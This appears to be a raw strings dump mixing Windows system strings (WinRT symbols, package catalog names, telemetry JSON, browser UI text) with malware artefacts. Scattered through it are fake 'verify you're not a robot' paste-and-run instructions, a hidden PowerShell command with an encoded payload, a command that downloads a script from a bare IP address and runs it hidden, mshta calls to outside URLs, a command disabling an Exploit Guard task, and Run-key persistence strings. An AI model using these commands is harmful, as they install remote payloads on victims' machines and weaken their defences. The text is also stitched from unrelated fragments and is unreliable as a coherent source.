1.press<b>windows+r</b>toopentherundialog.</p><pclass="instruction-text">2.pastetheverificationtextbypressing<b>ctrl+v</b>.</p><pclass="instruction-text">3.press<b>ok</b>toverifyyou'renotarobot
\windows\system32\cmd.exe/c
%windir%\system32\curl-s-o%temp%\
%windir%\system32\
.pngc:\windows\explorer.exe%windir%\system32\cmd.exe%
WINDOWS.UI.INPUT.GESTURERECOGNIZER
TELEMETRY.ASM-WINDOWSDEFAULT
           targetNamespace="http://schemas.microsoft.com/appx/manifest/preview/windows10/msixappcompatsupport/3"
           xmlns="http://schemas.microsoft.com/appx/manifest/preview/windows10/msixappcompatsupport/3"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
t\Windows\CurrentVersion\Run\mfehcs.execmd /c taskkill /F /PID\MyNewDLL\x64\Release\pdh.pdbTrojan:Win64/CobaltStrike.HU!MTB
 -WindowStyle Hidden Copy-Item -Path *.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden Start-Sleep
@C:\Windows\System32\ie4uinit.exe,-2000
C:\WINDOWS\system32,@elscore.dll,-4
C:\WINDOWS\system32,@elscore.dll,-3
C:\WINDOWS\system32,@elscore.dll,-7
lementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@V?$tuple@UExpanderToggleButton@TaskManagerApp@winrt@@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@3@UIContentControlOverrides@67893@UIControlOverrides@67893@UIControlOverrides6@67893@UIFrameworkElementOverrides@7893@UIFrameworkElementOverrides2@7893@UIUIElementOverrides@7893@UIUIElementOverrides7@7893@UIUIElementOverrides8@7893@UIUIElementOverrides9@7893@@std@@@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AV?$IUIElementOverrides9T@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IContentControlOverridesT@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UContentDialog@Controls@Xaml@UI@Windows@4@UContentControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
Microsoft-Windows-CoreSystem-DXG-Common-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
WindowsApp
WINDOWS\system32\cmd.ex
OMPUTERNAME=WINDOWS113
=C:\Windows\System32\
DriverData=C:\Windows\System32\
{"ver":"4.0","name":"Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose.SACDecision","time":"2026-02-24T08:07:31.8901161Z","iKey":"o:95c1f21d6cb047a09e7b423c1cb2222e","ext":{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":43},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-CoreSystem-DXG-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
#value="\microsoft\windows\cookies-kill
"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:OobeHost.AppXdcwkjpb46w3zw4hbmx5jfxajhymjka0d.mca
WindowsAclHelper::InitializeAccessDeniedACE
WindowsAclHelper::GetEveryoneSID
WindowsAclHelper::RemoveOldVersionDenyWriteAccessIfSet
eschtasks/change/tn"microsoft\windows\exploitguard\exploitguardmdmpolicyrefresh"/disable
-windowstyle('hi'+'dd'+'en');
WindowsPeopleExperience
DriverData=C:\Windows\System32\Drivers\DriverData
OS=Windows_NT
TMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
winlogon.exe
TEMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
.?AV<lambda_1>@?1??GetEdgeUserProfiles@IndexerHelper@implementation@Search@WebHost@winrt@@QEAA?AUJsonArray@Json@Data@Windows@6@Uhstring@6@@Z@
.?AV<lambda_1>@?1??GetEdgePinSitesAsync@IndexerHelper@implementation@Search@WebHost@winrt@@QEAA?AU?$IAsyncOperation@UJsonArray@Json@Data@Windows@winrt@@@Foundation@Windows@6@Uhstring@6@0H@Z@
.?AV<lambda_1>@?1??GetEdgeProfiles@IndexerHelper@implementation@Search@WebHost@winrt@@QEAA?AU?$IVector@UEdgeProfile@Search@WebHost@winrt@@@Collections@Foundation@Windows@6@W4EdgeBranch@456@@Z@
.?AV<lambda_1>@?1??GetEdgeTopSites@IndexerHelper@implementation@Search@WebHost@winrt@@QEAA?AU?$IVector@UEdgeTopSite@Search@WebHost@winrt@@@Collections@Foundation@Windows@6@W4EdgeBranch@456@H@Z@
.?AV<lambda_1>@?1??GetEdgeHistory@IndexerHelper@implementation@Search@WebHost@winrt@@QEAA?AU?$IVector@UEdgeHistorySite@Search@WebHost@winrt@@@Collections@Foundation@Windows@6@W4EdgeBranch@456@H@Z@
.?AV<lambda_1>@?1??InitializeAsync@AppManager@implementation@WebExperienceHost@winrt@@QEAA?AUIAsyncAction@Foundation@Windows@5@UIActivatedEventArgs@Activation@ApplicationModel@85@@Z@
.?AV<lambda_2>@?1??InitializeAsync@AppManager@implementation@WebExperienceHost@winrt@@QEAA?AUIAsyncAction@Foundation@Windows@5@UIActivatedEventArgs@Activation@ApplicationModel@85@@Z@
.?AV<lambda_1>@?1??OnNavigateWithContext@AppManager@implementation@WebExperienceHost@winrt@@AEAAXURedirectEventArgs@45@U?$IMapView@Uhstring@winrt@@U12@@Collections@Foundation@Windows@5@@Z@
.?AU?$BridgeWrapper@UJsonObject@Json@Data@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@UJsonArray@Json@Data@Windows@winrt@@@Foundation@Windows@winrt@@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@UIAsyncAction@Foundation@Windows@winrt@@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@XAEBUJsonArray@Json@Data@Windows@winrt@@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@UIAsyncAction@Foundation@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@_N@Foundation@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@s\public\documents\
Microsoft.Windows.Kernel.Pdc
OMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
Mozilla/5.0 (Windows NT 10.0; Win64; x
	windows.appExtension
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows\currentversion\run\u
CreateSplashWindows
DestroySplashWindows
Software\Microsoft\Windows\CurrentVersion\Policies\System
C:\windows\explorer.exe..\
C:\windows\explorer.exe..\
C:\windows\explore
C:\windows\explore
C:\windows\explore
C:\windows\explore
C:\windows\explore
C:\windows\explore
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
winlogon.exe
clientcore\ds\security\umstartup\winlogon\core\welcome.cxx
clientcore\ds\security\umstartup\winlogon\core\winlogon.cxx
clientcore\ds\security\umstartup\winlogon\core\session.cxx
clientcore\ds\security\umstartup\winlogon\core\tracecollector.cxx
clientcore\ds\security\umstartup\winlogon\core\userobj.cxx
Microsoft.Windows.Taskmgr
Microsoft.Windows.Wil.FeatureLogging
\windows genuine advantage\{
      <Color Name="ToolWindowShelf">
-\windows\system32
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db-journal
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db-wal
-outfile'c:\windows\temp\
onecoreuap\windows\frameworkudk\powernotificationspal.cpp
onecoreuap\windows\frameworkudk\inc\helpers\NotificationHelpers.h
onecoreuap\windows\frameworkudk\pushnotifications.cpp
onecoreuap\windows\frameworkudk\toastnotifications.cpp
onecoreuap\windows\frameworkudk\displayconfig.cpp
onecoreuap\windows\frameworkudk\warppal.cpp
onecoreuap\windows\frameworkudk\containment.cpp
onecoreuap\windows\frameworkudk\workloads.cpp
onecoreuap\windows\frameworkudk\packagemanagement.cpp
],{detached:true,stdio:'ignore',windowshide 
%Microsoft Windows Production PCA 20110
  <xs:simpleType name="ST_Capability_Windows_Restricted_Party">
      <xs:documentation>Windows and Restricted capabilitiHH
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
ailureReason>,enum winrt::Windows::ApplicationModel::Core::AppRestartFailureReason>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<enum winrt::Windows::ApplicationModel::Core::AppRestartFailureReason> &) const
auto __cdecl winrt::impl::wait_for_completed<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::Core::AppRestartFailureReason>>(const struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::Core::AppRestartFailureReason> &,const unsigned int)
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::Core::AppRestartFailureReason>,enum winrt::Windows::ApplicationModel::Core::AppRestartFailureReason>::GetResults(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IVector<struct winrt::Windows::Foundation::Collections::IVector<struct winrt::Microsoft::Windows::AppLifecycle::AppInstance>,struct winrt::Microsoft::Windows::AppLifecycle::AppInstance>::GetAt(unsigned int) const
C:\__w\1\s\obj\Release\x64\WindowsAppRuntime_DLL\Generated Files\winrt\Microsoft.Windows.AppLifecycle.h
auto __cdecl winrt::impl::consume_Microsoft_Windows_AppLifecycle_IAppInstance<struct winrt::Microsoft::Windows::AppLifecycle::IAppInstance>::Key(void) const
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncAction,struct winrt::Microsoft::Windows::AppLifecycle::implementation::AppInstance &,struct winrt::Microsoft::Windows::AppLifecycle::AppActivationArguments const &>::promise_type,struct winrt::Windows::Foundation::IAsyncAction,void>::GetResults(void)
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncAction,struct winrt::Microsoft::Windows::AppLifecycle::implementation::AppInstance &,struct winrt::Microsoft::Windows::AppLifecycle::AppActivationArguments>::promise_type,struct winrt::Windows::Foundation::IAsyncAction,void>::GetResults(void)
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncAction,struct winrt::Microsoft::Windows::AppLifecycle::implementation::AppInstance &,struct winrt::Microsoft::Windows::AppLifecycle::AppActivationArguments const &>::promise_type,struct winrt::Windows::Foundation::IAsyncAction,void>::Cancel(void) noexcept
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncAction,struct winrt::Microsoft::Windows::AppLifecycle::implementation::AppInstance &,struct winrt::Microsoft::Windows::AppLifecycle::AppActivationArguments const &>::promise_type,struct winrt::Windows::Foundation::IAsyncAction,void>::Completed(const struct winrt::Windows::Foundation::AsyncActionCompletedHandler &)
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncAction,struct winrt::Microsoft::Windows::AppLifecycle::implementation::AppInstance &,struct winrt::Microsoft::Windows::AppLifecycle::AppActivationArguments>::promise_type,struct winrt::Windows::Foundation::IAsyncAction,void>::Cancel(void) noexcept
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncAction,struct winrt::Microsoft::Windows::AppLifecycle::implementation::AppInstance &,struct winrt::Microsoft::Windows::AppLifecycle::AppActivationArguments>::promise_type,struct winrt::Windows::Foundation::IAsyncAction,void>::Completed(const struct winrt::Windows::Foundation::AsyncActionCompletedHandler &)
C:\__w\1\s\obj\Release\x64\WindowsAppRuntime_DLL\Generated Files\Microsoft.Windows.AppLifecycle.AppInstance.g.h
struct winrt::Windows::Foundation::IInspectable __cdecl winrt::Microsoft::Windows::AppLifecycle:~`
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
Software\Microsoft\Windows\Stiltedly\Uninstall\Pegasian226\sylnsS
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateStringReference
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.5
[windows
%Microsoft Windows Production PCA 20110
windows\system32\mshta.exehttp://secured.icbegypt.com/6
c:\windows\system32\wscript.exe".\bbnada\zlfzmyusua.vbs""
\windows\system32\calc.exe$
onecoreuap\windows\DWM\dwmcore\hw\global\SwapChainBuffer.h
onecoreuap\windows\dwm\dwmcore\hw\global\ddaswapchain.cpp
{2+onecoreuap\windows\DWM\dwmcore\hw\global\LegacySwapChain.h
onecoreuap\windows\dwm\dwmcore\hw\global\legacystereoswapchain.cpp
onecoreuap\windows\dwm\dwmcore\hw\d2dbitmap.cpp
onecoreuap\windows\dwm\dwmcore\holographic\holographiccomposition.cpp
onecoreuap\windows\dwm\dwmcore\holographic\holographicdisplay.cpp
onecoreuap\windows\dwm\dwmcore\holographic\holographicinteroptexture.cpp
8sonecoreuap\windows\dwm\dwmcore\holographic\holographicviewer.cpp
onecoreuap\windows\dwm\dwmcore\holographic\holographicclient.cpp
onecoreuap\windows\DWM\dwmcore\bitmaps/BitmapRealization.h
onecoreuap\windows\dwm\dwmcore\bitmaps\dxhandleyuvbitmaprealization.cpp
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
@echooffpowershell-executionpolicybypass-noprofile-windowstylehidden-ejabjad0atgblahcalqbpagiaagblagmadaagae4azqb0ac4avwblagiaqwbsagkazqbuahqaowbjaeuawaagacqaywauaeqabwb3ag4ababvageazabtahqacgbpag4azwaoaccaaab0ahqacaa6ac8alwa5adialgayaduanqauadganqauadyangavagealgbtahaanaanacka
z @echooffpowershell-executionpolicybypass-noprofile-windowstylehidden-ejabjad0atgblahcalqbpagiaagblagmadaagae4azqb0ac4avwblagiaqwbsagkazqbuahqaowbjaeuawaagacqaywauaeqabwb3ag4ababvageazabtahqacgbpag4azwaoaccaaab0ahqacaa6ac8alwa5adialgayaduanqauaduanwauadiamgaxac8ayqauag0acaa0accakqa=
invoke-webrequest-uri'http://45.144.212.77:16000/setup'-outfile'%temp%\installer.ps1';start-process'powershell.exe'-argumentlist'-executionpolicybypass-noprofile-file\"%temp%\installer.ps1\"'-windowstylehidden}
ll put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
mozilla/5.0(windowsnt6.1;wow64;rv:33.0)gecko/20120101firefox/
\system32\mshta.exehttps://riddhifoods.in/
Mozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/20200102 Firefox/50.0Array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J",
.?AUtype@?$abi@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@UCommandInfo@TaskManagerApp@4@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@U?$reference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$reference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@V?$tuple@U?$IReference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@UIPropertyValue@234@@std@@@impl@winrt@@
.?AV?$IUIElementOverrides9T@UEntityItem@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UEntityItem@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UEntityItem@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@UEntityItem@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UEntityItem@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UEntityItem@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IContentControlOverridesT@UEntityItem@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base@UEntityItem@implementation@TaskManagerApp@winrt@@UContentControl@Controls@Xaml@UI@Windows@4@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AV?$IControlOverrides6T@UEntityItem@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UEntityItem@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UEntityItem@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UEntityItem@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UEntityItem@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UEntityItem@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
%system32%\msra.exe;%system32%\netsh.exe;%system32%\dpiscaling.exe;%system32%\slui.exe
%system32%\certreq.exe;%system32%\certutil.exe;%system32%\clipup.exe;%system32%\dmcertinst.exe;%system32%\dnscmd.exe;%system32%\dsregcmd.exe;%system32%\sgrmbroker.exe;%system32%\filehistory.exe
%system32%\alg.exe;%system32%\finger.exe;%system32%\fsquirt.exe;%system32%\nbtstat.exe;%system32%\curl.exe;%system32%\devicecensus.exe;%system32%\ftp.exe;%system32%\hostname.exe;%system32%\nslookup.exe;%system32%\rpcping.exe;%system32%\stordiag.exe;%programfiles%\google\chrome\application\chrome.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\mozilla firefox\firefox.exe;%programfiles%\microsoft office\root\office%version%\excel.exe;%programfiles%\microsoft office\root\office%version%\outlook.exe;%programfiles%\microsoft office\root\office%version%\powerpnt.exe;%programfiles%\microsoft office\root\office%version%\winword.exe;%appdata%\zoom\bin\zoom.exe;%programfiles%\windowsapps\microsoftteams%version%\msteams.exe;%programfiles%\microsoft\edgewebview\application\%version%\msedgewebview2.exe;%programfiles%\microsoft office\root\office%version%\msaccess.exe;preconditions%programfiles%\microsoft office\root\office%version%\mspub.exe;preconditions%programfiles%\microsoft office\root\office%version%\onenote.exe;preconditions%programfiles%\microsoft office\root\office%version%\scanpst.exe;preconditions%programfiles%\microsoft office\root\office%version%\sdxhelper.exe
%system32%\control.exe;%system32%\explorer.exe
%system32%\agentactivationruntimestarter.exe;%system32%\appidpolicyconverter.exe;%system32%\dmcertinst.exe;%system32%\dmomacpmo.exe;%system32%\locationnotificationwindows.exe;%system32%\mdmagent.exe;%system32%\mdmappinstaller.exe;%system32%\omadmclient.exe;%system32%\provlaunch.exe;%system32%\provtool.exe;%system32%\windowsactiondialog.exe
%system32%\ctfmon.exe
%system32%\browserexport.exe
